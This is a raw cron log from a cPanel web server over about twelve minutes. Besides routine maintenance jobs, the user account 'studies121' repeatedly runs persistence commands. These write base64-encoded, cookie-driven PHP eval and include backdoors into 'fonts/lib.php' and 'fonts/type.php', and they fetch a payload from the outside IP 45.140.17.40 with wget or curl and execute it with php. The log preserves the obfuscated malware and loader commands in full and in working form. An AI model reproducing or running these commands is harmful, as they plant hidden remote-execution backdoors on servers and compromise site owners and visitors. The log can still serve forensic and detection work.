Sep  7 03:58:01 ip-184-168-122-23 CROND[10493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:58:01 ip-184-168-122-23 CROND[10495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:59:01 ip-184-168-122-23 CROND[10680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:59:01 ip-184-168-122-23 CROND[10681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:59:01 ip-184-168-122-23 CROND[10683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:59:01 ip-184-168-122-23 CROND[10684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:00:01 ip-184-168-122-23 CROND[10787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:00:01 ip-184-168-122-23 CROND[10788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:00:01 ip-184-168-122-23 CROND[10793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:00:01 ip-184-168-122-23 CROND[10795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:00:01 ip-184-168-122-23 CROND[10794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:00:01 ip-184-168-122-23 CROND[10791]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 04:00:01 ip-184-168-122-23 CROND[10797]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:00:01 ip-184-168-122-23 CROND[10801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:00:01 ip-184-168-122-23 CROND[10790]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:01:01 ip-184-168-122-23 CROND[10934]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 04:01:01 ip-184-168-122-23 CROND[10935]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10934]: starting 0anacron
Sep  7 04:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10946]: finished 0anacron
Sep  7 04:01:01 ip-184-168-122-23 CROND[10944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:01:01 ip-184-168-122-23 CROND[10951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:01:01 ip-184-168-122-23 CROND[10949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:01:01 ip-184-168-122-23 CROND[10950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:02:01 ip-184-168-122-23 CROND[11043]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:02:01 ip-184-168-122-23 CROND[11045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:02:01 ip-184-168-122-23 CROND[11046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:02:01 ip-184-168-122-23 CROND[11048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:02:01 ip-184-168-122-23 CROND[11047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:03:02 ip-184-168-122-23 CROND[11151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:03:02 ip-184-168-122-23 CROND[11154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:03:02 ip-184-168-122-23 CROND[11159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:03:02 ip-184-168-122-23 CROND[11160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:04:01 ip-184-168-122-23 CROND[11244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:04:01 ip-184-168-122-23 CROND[11248]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:04:01 ip-184-168-122-23 CROND[11249]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:04:01 ip-184-168-122-23 CROND[11251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:04:01 ip-184-168-122-23 CROND[11254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:05:01 ip-184-168-122-23 CROND[11359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:05:01 ip-184-168-122-23 CROND[11361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:05:01 ip-184-168-122-23 CROND[11363]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 04:05:01 ip-184-168-122-23 CROND[11364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:05:01 ip-184-168-122-23 CROND[11362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:05:01 ip-184-168-122-23 CROND[11365]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 04:05:01 ip-184-168-122-23 CROND[11367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:06:01 ip-184-168-122-23 CROND[11472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:06:01 ip-184-168-122-23 CROND[11475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:06:01 ip-184-168-122-23 CROND[11474]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:06:01 ip-184-168-122-23 CROND[11473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:06:01 ip-184-168-122-23 CROND[11476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:07:01 ip-184-168-122-23 CROND[11588]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:07:01 ip-184-168-122-23 CROND[11587]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:07:01 ip-184-168-122-23 CROND[11594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:07:01 ip-184-168-122-23 CROND[11593]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:08:01 ip-184-168-122-23 CROND[11700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 04:08:01 ip-184-168-122-23 CROND[11699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:08:01 ip-184-168-122-23 CROND[11702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:08:01 ip-184-168-122-23 CROND[11703]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:08:01 ip-184-168-122-23 CROND[11705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:09:01 ip-184-168-122-23 CROND[11876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 04:09:01 ip-184-168-122-23 CROND[11877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 04:09:01 ip-184-168-122-23 CROND[11878]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 04:09:01 ip-184-168-122-23 CROND[11879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:09:01 ip-184-168-122-23 CROND[11880]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 04:10:01 ip-184-168-122-23 CROND[12014]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 04:10:01 ip-184-168-122-23 CROND[12018]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 04:10:01 ip-184-168-122-23 CROND[12020]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 04:10:01 ip-184-168-122-23 CROND[12021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
